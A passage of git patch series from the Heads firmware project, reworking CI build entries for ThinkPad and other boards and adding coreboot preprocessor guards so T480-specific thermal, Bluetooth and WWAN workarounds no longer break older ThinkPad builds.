t430-maximized target: t430-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: w530-maximized target: w530-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: t530-maximized target: t530-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: t530-hotp-maximized target: t530-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: UNTESTED_t440p-maximized target: UNTESTED_t440p-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: UNTESTED_t440p-hotp-maximized target: UNTESTED_t440p-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: UNTESTED_w541-maximized target: UNTESTED_w541-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: UNTESTED_w541-hotp-maximized target: UNTESTED_w541-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: qemu-coreboot-fbwhiptail-tpm2-hotp target: qemu-coreboot-fbwhiptail-tpm2-hotp subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: z220-cmt-maximized target: z220-cmt-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: z220-cmt-hotp-maximized target: z220-cmt-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized # coreboot purism # librem boards @@ -513,11 +513,11 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: t480-maximized - target: t480-maximized + name: UNMAINTAINED_t480-maximized + target: UNMAINTAINED_t480-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t480-hotp-maximized/UNMAINTAINED_t480-hotp-maximized.config similarity index 100% rename from boards/t480-hotp-maximized/t480-hotp-maximized.config rename to unmaintained_boards/UNMAINTAINED_t480-hotp-maximized/UNMAINTAINED_t480-hotp-maximized.config diff --git a/boards/t480-maximized/t480-maximized.config b/unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config similarity index 97% rename from boards/t480-maximized/t480-maximized.config rename to unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config index 92fcacd87..984fd805f 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config @@ -23,7 +23,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config +CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_t480-maximized.config CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) From 3466272a69f1345340f5eeda05a5dd338883f8eb Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 6 Mar 2025 21:42:10 +0100 Subject: [PATCH 564/619] do not break building other thinkpads with the hacks for the t480/s made Mate Kukri still not fixing things properly but at least it should now be possible to build older thinkpads without regressions. prior, some code was just commented or unreachable. now we make this explicit with preprocessor directives. heads should build all boards on this coreboot version from the same coreboot tree. use CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON to decide what to compile this should work for T480, T480S and older thinkpads Signed-off-by: gaspar-ilom --- ...lding-other-thinkpads-with-the-hacks.patch | 157 ++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch diff --git a/patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch b/patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch new file mode 100644 index 000000000..a1fa08e11 --- /dev/null +++ b/patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch @@ -0,0 +1,157 @@ +From efc90be24c861f5f83309006e7fdbf3e3504534f Mon Sep 17 00:00:00 2001 +From: gaspar-ilom +Date: Thu, 6 Mar 2025 23:00:00 +0000 +Subject: [PATCH] do not break building other thinkpads with the hacks for the + t480/s made Mate Kukri + +still not fixing things properly but at least it should now be possible to build older thinkpads without regressions. +prior, some code was just commented or unreachable. now we make this explicit with preprocessor directives. +heads should build all boards on this coreboot version from the same coreboot tree. + +Signed-off-by: gaspar-ilom +--- + src/device/pci_rom.c | 8 +++++--- + src/ec/lenovo/h8/acpi/ec.asl | 4 +++- + src/ec/lenovo/h8/bluetooth.c | 15 ++++++++++----- + src/ec/lenovo/h8/wwan.c | 14 ++++++++++---- + 4 files changed, 28 insertions(+), 13 deletions(-) + +diff --git a/src/device/pci_rom.c b/src/device/pci_rom.c +index cc6b9b068a..f47300faaa 100644 +--- a/src/device/pci_rom.c ++++ b/src/device/pci_rom.c +@@ -304,13 +304,15 @@ void pci_rom_ssdt(const struct device *device) + return; + } + +-#if 0 ++ #ifdef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ const char *scope = "\\_SB.PCI0.RP01.PEGP"; ++ #else + const char *scope = acpi_device_path(device); ++ #endif + if (!scope) { + printk(BIOS_ERR, "%s: Missing ACPI scope\n", dev_path(device)); + return; + } +-#endif + + /* Supports up to four devices. */ + if ((CBMEM_ID_ROM0 + ngfx) > CBMEM_ID_ROM3) { +@@ -338,7 +340,7 @@ void pci_rom_ssdt(const struct device *device) + memcpy(cbrom, rom, cbrom_length); + + /* write _ROM method */ +- acpigen_write_scope("\\_SB.PCI0.RP01.PEGP"); ++ acpigen_write_scope(scope); + acpigen_write_rom(cbrom, cbrom_length); + acpigen_pop_len(); /* pop scope */ + } +diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl +index 8f4a8e1986..0159753f86 100644 +--- a/src/ec/lenovo/h8/acpi/ec.asl ++++ b/src/ec/lenovo/h8/acpi/ec.asl +@@ -331,7 +331,9 @@ Device(EC) + #include "sleepbutton.asl" + #include "lid.asl" + #include "beep.asl" +-//#include "thermal.asl" ++#ifndef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++#include "thermal.asl" ++#endif + #include "systemstatus.asl" + #include "thinkpad.asl" + } +diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c +index be71a24ced..94dd52d87e 100644 +--- a/src/ec/lenovo/h8/bluetooth.c ++++ b/src/ec/lenovo/h8/bluetooth.c +@@ -1,6 +1,7 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ +- +-// #include ++#ifndef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++#include ++#endif + #include + #include + #include +@@ -26,23 +27,27 @@ void h8_bluetooth_enable(int on) + */ + bool h8_has_bdc(const struct device *dev) + { ++ #ifdef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ printk(BIOS_INFO, "H8: BDC detection not implemented. " ++ "Assuming BDC installed\n"); ++ return true; ++ #else + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (1 || !conf->has_bdc_detection) { ++ if (!conf->has_bdc_detection) { + printk(BIOS_INFO, "H8: BDC detection not implemented. " + "Assuming BDC installed\n"); + return true; + } + +-#if 0 + if (get_gpio(conf->bdc_gpio_num) == conf->bdc_gpio_lvl) { + printk(BIOS_INFO, "H8: BDC installed\n"); + return true; + } +-#endif + + printk(BIOS_INFO, "H8: BDC not installed\n"); + return false; ++ #endif + } + + /* +diff --git a/src/ec/lenovo/h8/wwan.c b/src/ec/lenovo/h8/wwan.c +index 5cdcf77406..183e1a2cf9 100644 +--- a/src/ec/lenovo/h8/wwan.c ++++ b/src/ec/lenovo/h8/wwan.c +@@ -1,6 +1,8 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-// #include ++#ifndef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++#include ++#endif + #include + #include + #include +@@ -24,23 +26,27 @@ void h8_wwan_enable(int on) + */ + bool h8_has_wwan(const struct device *dev) + { ++ #ifdef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ printk(BIOS_INFO, "H8: WWAN detection not implemented. " ++ "Assuming WWAN installed\n"); ++ return true; ++ #else + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (1 || !conf->has_wwan_detection) { ++ if (!conf->has_wwan_detection) { + printk(BIOS_INFO, "H8: WWAN detection not implemented. " + "Assuming WWAN installed\n"); + return true; + } + +-#if 0 + if (get_gpio(conf->wwan_gpio_num) == conf->wwan_gpio_lvl) { + printk(BIOS_INFO, "H8: WWAN installed\n"); + return true; + } +-#endif + + printk(BIOS_INFO, "H8: WWAN not installed\n"); + return false; ++ #endif + } + + /* +-- +2.39.5 + From bb120b14ae2ad0b4246b8153c7f18022d63ab550 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 7 Mar 2025 17:28:43 +0100 Subject: [PATCH 565/619] Revert "t480: move to unmaintained, remove t480 from circleci. Upstream will need to fix thermal codepath: as of now its either other thinkpads or t480. Not good" With 3466272a69f1345340f5eeda05a5dd338883f8eb T480 thermal codepath does not break other boards anymore. We move it back to circleci and maintained. This reverts commit 730fdd1b25384bacc8e491c543709f5967651ffb. Signed-off-by: gaspar-ilom --- .circleci/config.yml | 64 +++++++++---------- .../t480-hotp-maximized.config | 0 .../t480-maximized/t480-maximized.config | 2 +- 3 files changed, 33 insertions(+), 33 deletions(-) rename unmaintained_boards/UNMAINTAINED_t480-hotp-maximized/UNMAINTAINED_t480-hotp-maximized.config => boards/t480-hotp-maximized/t480-hotp-maximized.config (100%) rename unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config => boards/t480-maximized/t480-maximized.config (97%) diff --git a/.circleci/config.yml b/.circleci/config.yml index a95a16b90..a3cf6c991 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -250,10 +250,10 @@ workflows: requires: - novacustom-nv4x_adl - # x230 is based on 24.12 coreboot release here + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build_and_persist: - name: x230-hotp-maximized - target: x230-hotp-maximized + name: t480-hotp-maximized + target: t480-hotp-maximized subcommand: "" requires: - x86-musl-cross-make @@ -280,7 +280,7 @@ workflows: - save_cache: requires: - UNTESTED_talos-2 - - x230-hotp-maximized + - t480-hotp-maximized # Those onboarding new boards should add their entries below. # coreboot 24.12 boards @@ -289,49 +289,49 @@ workflows: target: x220-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x220-maximized target: x220-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t420-hotp-maximized target: t420-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t420-maximized target: t420-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-hotp-maximized_usb-kb target: x230-hotp-maximized_usb-kb subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t430-hotp-maximized target: t430-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-maximized target: x230-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized #TODO: move away of 24.02.01 coreboot and depend on optiplex specific dasharo commit - build: @@ -339,126 +339,126 @@ workflows: target: optiplex-7010_9010-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: optiplex-7010_9010-hotp-maximized target: optiplex-7010_9010-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: optiplex-7010_9010_TXT-maximized target: optiplex-7010_9010_TXT-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: optiplex-7010_9010_TXT-hotp-maximized target: optiplex-7010_9010_TXT-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-maximized-fhd_edp target: x230-maximized-fhd_edp subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-hotp-maximized-fhd_edp target: x230-hotp-maximized-fhd_edp subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: w530-hotp-maximized target: w530-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t430-maximized target: t430-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: w530-maximized target: w530-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t530-maximized target: t530-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t530-hotp-maximized target: t530-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: UNTESTED_t440p-maximized target: UNTESTED_t440p-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: UNTESTED_t440p-hotp-maximized target: UNTESTED_t440p-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: UNTESTED_w541-maximized target: UNTESTED_w541-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: UNTESTED_w541-hotp-maximized target: UNTESTED_w541-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: qemu-coreboot-fbwhiptail-tpm2-hotp target: qemu-coreboot-fbwhiptail-tpm2-hotp subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: z220-cmt-maximized target: z220-cmt-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: z220-cmt-hotp-maximized target: z220-cmt-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized # coreboot purism # librem boards @@ -513,11 +513,11 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: UNMAINTAINED_t480-maximized - target: UNMAINTAINED_t480-maximized + name: t480-maximized + target: t480-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/unmaintained_boards/UNMAINTAINED_t480-hotp-maximized/UNMAINTAINED_t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config similarity index 100% rename from unmaintained_boards/UNMAINTAINED_t480-hotp-maximized/UNMAINTAINED_t480-hotp-maximized.config rename to boards/t480-hotp-maximized/t480-hotp-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config b/boards/t480-maximized/t480-maximized.config similarity index 97% rename from unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config rename to boards/t480-maximized/t480-maximized.config index 984fd805f..92fcacd87 100644 --- a/unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -23,7 +23,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_t480-maximized.config +CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) From dc207ea8f2ba2b49cd2504e9cbe960c8d25489d7 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 7 Mar 2025 19:55:54 +0100 Subject: [PATCH 566/619] Revert "patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch: do not comment inclusion of thermal.asl" Not necessary anymore as properly fixed by coreboot patch 0004 in 3466272a69f1345340f5eeda05a5dd338883f8eb This reverts commit aa2b15dd055b3db18e0e60bf4a008d3e6b95c270. Signed-off-by: gaspar-ilom --- ...enovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch index c5b8acfd5..108f688db 100644 --- a/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch +++ b/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch @@ -143,6 +143,19 @@ index d60720eb49..cc6b9b068a 100644 acpigen_write_rom(cbrom, cbrom_length); acpigen_pop_len(); /* pop scope */ } +diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl +index bc54d3b422..8f4a8e1986 100644 +--- a/src/ec/lenovo/h8/acpi/ec.asl ++++ b/src/ec/lenovo/h8/acpi/ec.asl +@@ -331,7 +331,7 @@ Device(EC) + #include "sleepbutton.asl" + #include "lid.asl" + #include "beep.asl" +-#include "thermal.asl" ++//#include "thermal.asl" + #include "systemstatus.asl" + #include "thinkpad.asl" + } diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c index 16fc8dce39..be71a24ced 100644 --- a/src/ec/lenovo/h8/bluetooth.c From f76558601576409c2bb0fc49f0a119a97d8506fe Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sat, 8 Mar 2025 00:59:00 +0100 Subject: [PATCH 567/619] fix preprocessor checks Signed-off-by: gaspar-ilom --- ...lding-other-thinkpads-with-the-hacks.patch | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch b/patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch index a1fa08e11..81517093a 100644 --- a/patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch +++ b/patches/coreboot-24.12/0004-do-not-break-building-other-thinkpads-with-the-hacks.patch @@ -1,4 +1,4 @@ -From efc90be24c861f5f83309006e7fdbf3e3504534f Mon Sep 17 00:00:00 2001 +From d2188ab8134a6a9c67e64dda643b770221dba648 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 6 Mar 2025 23:00:00 +0000 Subject: [PATCH] do not break building other thinkpads with the hacks for the @@ -17,7 +17,7 @@ Signed-off-by: gaspar-ilom 4 files changed, 28 insertions(+), 13 deletions(-) diff --git a/src/device/pci_rom.c b/src/device/pci_rom.c -index cc6b9b068a..f47300faaa 100644 +index cc6b9b068a..7d4b52ba30 100644 --- a/src/device/pci_rom.c +++ b/src/device/pci_rom.c @@ -304,13 +304,15 @@ void pci_rom_ssdt(const struct device *device) @@ -25,7 +25,7 @@ index cc6b9b068a..f47300faaa 100644 } -#if 0 -+ #ifdef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ #if CONFIG(BOARD_LENOVO_SKLKBL_THINKPAD_COMMON) + const char *scope = "\\_SB.PCI0.RP01.PEGP"; + #else const char *scope = acpi_device_path(device); @@ -48,7 +48,7 @@ index cc6b9b068a..f47300faaa 100644 acpigen_pop_len(); /* pop scope */ } diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl -index 8f4a8e1986..0159753f86 100644 +index 8f4a8e1986..f80c15106c 100644 --- a/src/ec/lenovo/h8/acpi/ec.asl +++ b/src/ec/lenovo/h8/acpi/ec.asl @@ -331,7 +331,9 @@ Device(EC) @@ -56,21 +56,21 @@ index 8f4a8e1986..0159753f86 100644 #include "lid.asl" #include "beep.asl" -//#include "thermal.asl" -+#ifndef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++#if !CONFIG(BOARD_LENOVO_SKLKBL_THINKPAD_COMMON) +#include "thermal.asl" +#endif #include "systemstatus.asl" #include "thinkpad.asl" } diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c -index be71a24ced..94dd52d87e 100644 +index be71a24ced..0b729bd819 100644 --- a/src/ec/lenovo/h8/bluetooth.c +++ b/src/ec/lenovo/h8/bluetooth.c @@ -1,6 +1,7 @@ /* SPDX-License-Identifier: GPL-2.0-only */ - -// #include -+#ifndef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++#if !CONFIG(BOARD_LENOVO_SKLKBL_THINKPAD_COMMON) +#include +#endif #include @@ -80,7 +80,7 @@ index be71a24ced..94dd52d87e 100644 */ bool h8_has_bdc(const struct device *dev) { -+ #ifdef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ #if CONFIG(BOARD_LENOVO_SKLKBL_THINKPAD_COMMON) + printk(BIOS_INFO, "H8: BDC detection not implemented. " + "Assuming BDC installed\n"); + return true; @@ -108,14 +108,14 @@ index be71a24ced..94dd52d87e 100644 /* diff --git a/src/ec/lenovo/h8/wwan.c b/src/ec/lenovo/h8/wwan.c -index 5cdcf77406..183e1a2cf9 100644 +index 5cdcf77406..0a62583c56 100644 --- a/src/ec/lenovo/h8/wwan.c +++ b/src/ec/lenovo/h8/wwan.c @@ -1,6 +1,8 @@ /* SPDX-License-Identifier: GPL-2.0-only */ -// #include -+#ifndef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++#if !CONFIG(BOARD_LENOVO_SKLKBL_THINKPAD_COMMON) +#include +#endif #include @@ -125,7 +125,7 @@ index 5cdcf77406..183e1a2cf9 100644 */ bool h8_has_wwan(const struct device *dev) { -+ #ifdef CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ #if CONFIG(BOARD_LENOVO_SKLKBL_THINKPAD_COMMON) + printk(BIOS_INFO, "H8: WWAN detection not implemented. " + "Assuming WWAN installed\n"); + return true; From 4cb69858f95d0614cd89005552a4ba0d6d3e5af2 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sun, 9 Mar 2025 21:08:26 +0100 Subject: [PATCH 568/619] rename patches in correct order to prepare for more more patches are going to come for haswell nri so we want a clean naming scheme Signed-off-by: gaspar-ilom --- ... 0005-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch} | 0 ...tch => 0006-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch} | 0 ...07-src-intel-skylake-Disable-stack-overflow-debug-optio.patch} | 0 ...atch => 0008-src-intel-x4x-Disable-stack-overflow-debug.patch} | 0 .../{85278-post-skylake-pr0.patch => 0009-post-skylake-pr0.patch} | 0 5 files changed, 0 insertions(+), 0 deletions(-) rename patches/coreboot-24.12/{0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch => 0005-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch} (100%) rename patches/coreboot-24.12/{0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch => 0006-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch} (100%) rename patches/coreboot-24.12/{0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch => 0007-src-intel-skylake-Disable-stack-overflow-debug-optio.patch} (100%) rename patches/coreboot-24.12/{0014-src-intel-x4x-Disable-stack-overflow-debug.patch => 0008-src-intel-x4x-Disable-stack-overflow-debug.patch} (100%) rename patches/coreboot-24.12/{85278-post-skylake-pr0.patch => 0009-post-skylake-pr0.patch} (100%) diff --git a/patches/coreboot-24.12/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch b/patches/coreboot-24.12/0005-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch similarity index 100% rename from patches/coreboot-24.12/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch rename to patches/coreboot-24.12/0005-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch diff --git a/patches/coreboot-24.12/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch b/patches/coreboot-24.12/0006-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch similarity index 100% rename from patches/coreboot-24.12/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch rename to patches/coreboot-24.12/0006-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch diff --git a/patches/coreboot-24.12/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch b/patches/coreboot-24.12/0007-src-intel-skylake-Disable-stack-overflow-debug-optio.patch similarity index 100% rename from patches/coreboot-24.12/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch rename to patches/coreboot-24.12/0007-src-intel-skylake-Disable-stack-overflow-debug-optio.patch diff --git a/patches/coreboot-24.12/0014-src-intel-x4x-Disable-stack-overflow-debug.patch b/patches/coreboot-24.12/0008-src-intel-x4x-Disable-stack-overflow-debug.patch similarity index 100% rename from patches/coreboot-24.12/0014-src-intel-x4x-Disable-stack-overflow-debug.patch rename to patches/coreboot-24.12/0008-src-intel-x4x-Disable-stack-overflow-debug.patch diff --git a/patches/coreboot-24.12/85278-post-skylake-pr0.patch b/patches/coreboot-24.12/0009-post-skylake-pr0.patch similarity index 100% rename from patches/coreboot-24.12/85278-post-skylake-pr0.patch rename to patches/coreboot-24.12/0009-post-skylake-pr0.patch From 876e37ea2b4cd5e2f5bab9f4a9b8611df0745b68 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 10 Mar 2025 15:26:21 -0400 Subject: [PATCH 569/619] t530 boards: move to untested with board.move_tested_to_untested helper, per notice at https://github.com/linuxboot/heads/pull/1908#issuecomment-2711603241 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- .../UNTESTED_t530-hotp-maximized.config} | 0 .../UNTESTED_t530-maximized.config} | 0 3 files changed, 4 insertions(+), 4 deletions(-) rename boards/{t530-hotp-maximized/t530-hotp-maximized.config => UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config} (100%) rename boards/{t530-maximized/t530-maximized.config => UNTESTED_t530-maximized/UNTESTED_t530-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index a3cf6c991..dc5faa27c 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -398,15 +398,15 @@ workflows: - t480-hotp-maximized - build: - name: t530-maximized - target: t530-maximized + name: UNTESTED_t530-maximized + target: UNTESTED_t530-maximized subcommand: "" requires: - t480-hotp-maximized - build: - name: t530-hotp-maximized - target: t530-hotp-maximized + name: UNTESTED_t530-hotp-maximized + target: UNTESTED_t530-hotp-maximized subcommand: "" requires: - t480-hotp-maximized diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config similarity index 100% rename from boards/t530-hotp-maximized/t530-hotp-maximized.config rename to boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config diff --git a/boards/t530-maximized/t530-maximized.config b/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config similarity index 100% rename from boards/t530-maximized/t530-maximized.config rename to boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config From 382949d8f41acaed6187c4d14e90fc9ba59e3d01 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 10 Mar 2025 15:31:03 -0400 Subject: [PATCH 570/619] z220-cmt boards: move to untested with board.move_tested_to_untested helper, per notice at https://github.com/linuxboot/heads/pull/1908#issuecomment-2711603241 Unfortunately the helper doesn't deal well with board inclusion: sed call is imperfect, and board config needs to be manually edited. TODO: fix the helper when it will be the time to move back to tested/untested Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- .../UNTESTED_z220-cmt-hotp-maximized.config} | 4 ++-- .../UNTESTED_z220-cmt-maximized.config} | 0 3 files changed, 6 insertions(+), 6 deletions(-) rename boards/{z220-cmt-hotp-maximized/z220-cmt-hotp-maximized.config => UNTESTED_z220-cmt-hotp-maximized/UNTESTED_z220-cmt-hotp-maximized.config} (63%) rename boards/{z220-cmt-maximized/z220-cmt-maximized.config => UNTESTED_z220-cmt-maximized/UNTESTED_z220-cmt-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index dc5faa27c..95ee78fee 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -447,15 +447,15 @@ workflows: - t480-hotp-maximized - build: - name: z220-cmt-maximized - target: z220-cmt-maximized + name: UNTESTED_z220-cmt-maximized + target: UNTESTED_z220-cmt-maximized subcommand: "" requires: - t480-hotp-maximized - build: - name: z220-cmt-hotp-maximized - target: z220-cmt-hotp-maximized + name: UNTESTED_z220-cmt-hotp-maximized + target: UNTESTED_z220-cmt-hotp-maximized subcommand: "" requires: - t480-hotp-maximized diff --git a/boards/z220-cmt-hotp-maximized/z220-cmt-hotp-maximized.config b/boards/UNTESTED_z220-cmt-hotp-maximized/UNTESTED_z220-cmt-hotp-maximized.config similarity index 63% rename from boards/z220-cmt-hotp-maximized/z220-cmt-hotp-maximized.config rename to boards/UNTESTED_z220-cmt-hotp-maximized/UNTESTED_z220-cmt-hotp-maximized.config index 6155c83d2..84f67066a 100644 --- a/boards/z220-cmt-hotp-maximized/z220-cmt-hotp-maximized.config +++ b/boards/UNTESTED_z220-cmt-hotp-maximized/UNTESTED_z220-cmt-hotp-maximized.config @@ -1,7 +1,7 @@ # Inherit the rest from the base Z220 CMT config. 